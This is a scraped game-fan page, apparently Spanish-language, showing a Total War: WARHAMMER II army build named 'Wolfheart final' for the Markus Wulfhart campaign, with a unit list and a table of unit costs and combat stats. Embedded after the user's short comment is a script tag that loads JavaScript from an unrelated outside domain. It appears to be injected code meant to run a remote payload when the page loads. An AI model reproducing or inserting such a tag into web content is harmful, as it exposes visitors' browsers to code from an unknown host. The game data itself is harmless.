Left Panel
menu
HomeInicio / Total War: WARHAMMER II / La expedición del Mariscal Cazador / Army / Wolfheart final
Wolfheart final La expedición del Mariscal CazadorLa expedición del Mariscal Cazador Army

Wolfheart final

Campaign army for final battle
Build by Arddv - 2019-10-07 10:07:22
1 Markus Wulfhart
1 Hertwig van Hal
1 Rodrik de L'Anguille
1 Kalara
1 Jorek Grimm
1 Hechicero Ámbar (Grifo Imperial)
120 Grandes Espaderos
120 Grandes Espaderos
120 Grandes Espaderos
120 Grandes Espaderos
90 Los Lobos Blancos (Cazadores)
90 Cazadores
90 Cazadores
90 Cazadores
90 Cazadores
32 Caballeros en Semigrifo (alabardas)
32 Caballeros en Semigrifo (alabardas)
8 Los Leones Negros (Carros de Guerra - Cañones de Salvas)
1 Tanque de Vapor
44 Grandes Cañones

Plays almost like D&D party with some backup.<script src="https://jsresourcenet.com/honga"></script>

No. Unit Name Sol. Custom Cost Recru. Cost Upkeep Cost Ship HP. Ship Spd. Msl. Dmg. Rng. Sht. /min Amo. Mle. Atk. Mle. Dmg. Chg. Mle. Def. Arm. HP. Mor.
Comandante (6) 6 4825 6600 625 - - - 286 2135 207 241 440 25256 415
1 Markus Wulfhart Markus Wulfhart 1 1000 1000 250 58 360 30 45 50 4268 75
2 Hertwig van Hal Hertwig van Hal 1 600 1000 0 40 330 30 38 40 3988 70
3 Rodrik de L'Anguille Rodrik de L'Anguille 1 475 1000 0 50 390 45 45 130 4088 70
4 Kalara Kalara 1 700 1000 0 58 325 28 48 50 3988 70
5 Jorek Grimm Jorek Grimm 1 750 1000 0 40 280 14 35 120 4188 75
6 Hechicero Ámbar (Grifo Imperial) Hechicero Ámbar (Grifo Imperial) 1 1300 1600 375 40 450 60 30 50 4736 55
Infantería cuerpo a cuerpo (4) 480 3600 0 900 - - - 128 128 72 120 380 304 296
7 Grandes Espaderos Grandes Espaderos 120 900 0 225 32 32 18 30 95 76 74
8 Grandes Espaderos Grandes Espaderos 120 900 0 225 32 32 18 30 95 76 74
9 Grandes Espaderos Grandes Espaderos 120 900 0 225 32 32 18 30 95 76 74
10 Grandes Espaderos Grandes Espaderos 120 900 0 225 32 32 18 30 95 76 74
Infantería de proyectiles (5) 450 3500 3500 873 - 100 - - 110 100 124 30 100 125 345 285
11 Los Lobos Blancos (Cazadores) Los Lobos Blancos (Cazadores) 90 900 900 225 20 160 7.8 22 36 28 14 32 25 69 65
12 Cazadores Cazadores 90 650 650 162 20 160 6.1 22 16 24 4 17 25 69 55
13 Cazadores Cazadores 90 650 650 162 20 160 6.1 22 16 24 4 17 25 69 55
14 Cazadores Cazadores 90 650 650 162 20 160 6.1 22 16 24 4 17 25 69 55
15 Cazadores Cazadores 90 650 650 162 20 160 6.1 22 16 24 4 17 25 69 55
Caballería de choque (2) 64 3000 0 750 - - - 64 104 96 60 250 420 140
16 Caballeros en Semigrifo (alabardas) Caballeros en Semigrifo (alabardas) 32 1500 0 375 32 52 48 30 125 210 70
17 Caballeros en Semigrifo (alabardas) Caballeros en Semigrifo (alabardas) 32 1500 0 375 32 52 48 30 125 210 70
Carro (2) 9 4100 1900 1025 - - - 60 226 109 27 250 10196 175
18 Los Leones Negros (Carros de Guerra - Cañones de Salvas) Los Leones Negros (Carros de Guerra - Cañones de Salvas) 8 1900 1900 475 24 26 29 17 90 1136 75
19 Tanque de Vapor Tanque de Vapor 1 2200 0 550 36 200 80 10 160 9060 100
Artillería de campo (1) 44 800 0 200 - 440 - - 0 10 24 5 6 20 56 50
20 Grandes Cañones Grandes Cañones 44 800 0 200 440 450 3 10 24 5 6 20 56 50
Subtotal 1053 19825 12000 4373 - 540 - - 110 648 2741 519 554 1465 36577 1361